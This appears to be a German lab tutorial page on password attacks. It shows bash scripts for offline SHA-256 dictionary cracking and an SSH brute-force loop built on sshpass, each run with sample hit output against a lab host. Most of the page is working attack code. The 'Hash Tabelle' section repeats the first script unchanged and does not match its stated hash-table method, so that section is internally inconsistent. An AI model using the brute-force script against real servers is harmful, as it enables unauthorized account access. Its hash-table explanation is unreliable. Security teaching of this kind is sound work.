Passwort Angriffe Prinzip

Normale Hack

• wget https://xinux.de/downloads/bad-passwords
• cat pw-crack-offline.sh

#!/bin/bash
HASH=$1
while read LINE
do
 PW_HS=$(echo $LINE | sha256sum | cut -f 1 -d " ")
 if [[ $PW_HS == $HASH ]]
   then
      echo "Treffer: $LINE"
    exit
 fi
done < $2

• ./pw-crack-offline.sh cd293be6cea034bd45a0352775a219ef5dc7825ce55d1f7dae9762d80ce64411 bad-passwords

Treffer: whatever

Hash Tabelle

• wget https://xinux.de/downloads/bad-passwords.hash
• cat pw-crack-offline-hash.sh

#!/bin/bash
HASH=$1
while read LINE
do
 PW_HS=$(echo $LINE | sha256sum | cut -f 1 -d " ")
 if [[ $PW_HS == $HASH ]]
   then
      echo "Treffer: $LINE"
    exit

 fi	   
done < $2

• ./pw-crack-offline-hash.sh ba22bae4d286f37a07e800585b8acba09add0e2a370c6ea5b2b354f859d8c12d bad-passwords.hash

Treffer: lovely

ssh hack

• sudo apt install sshpass
• cat ssh-pass-hack.sh

#!/bin/bash
# einfaches SSH-PW-Brute wie hydra (Lab)
HOST=$1
USER=$2
WORTLISTE=$3
while read PW
do
 if sshpass -p "$PW" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o PreferredAuthentications=password "$USER@$HOST" "exit" 2>/dev/null
   then
      echo "Treffer: $USER:$PW"
      exit
 fi
done < "$WORTLISTE"

./ssh-pass-hack.sh 192.168.16.213 martha bad-passwords

Treffer: martha:basketball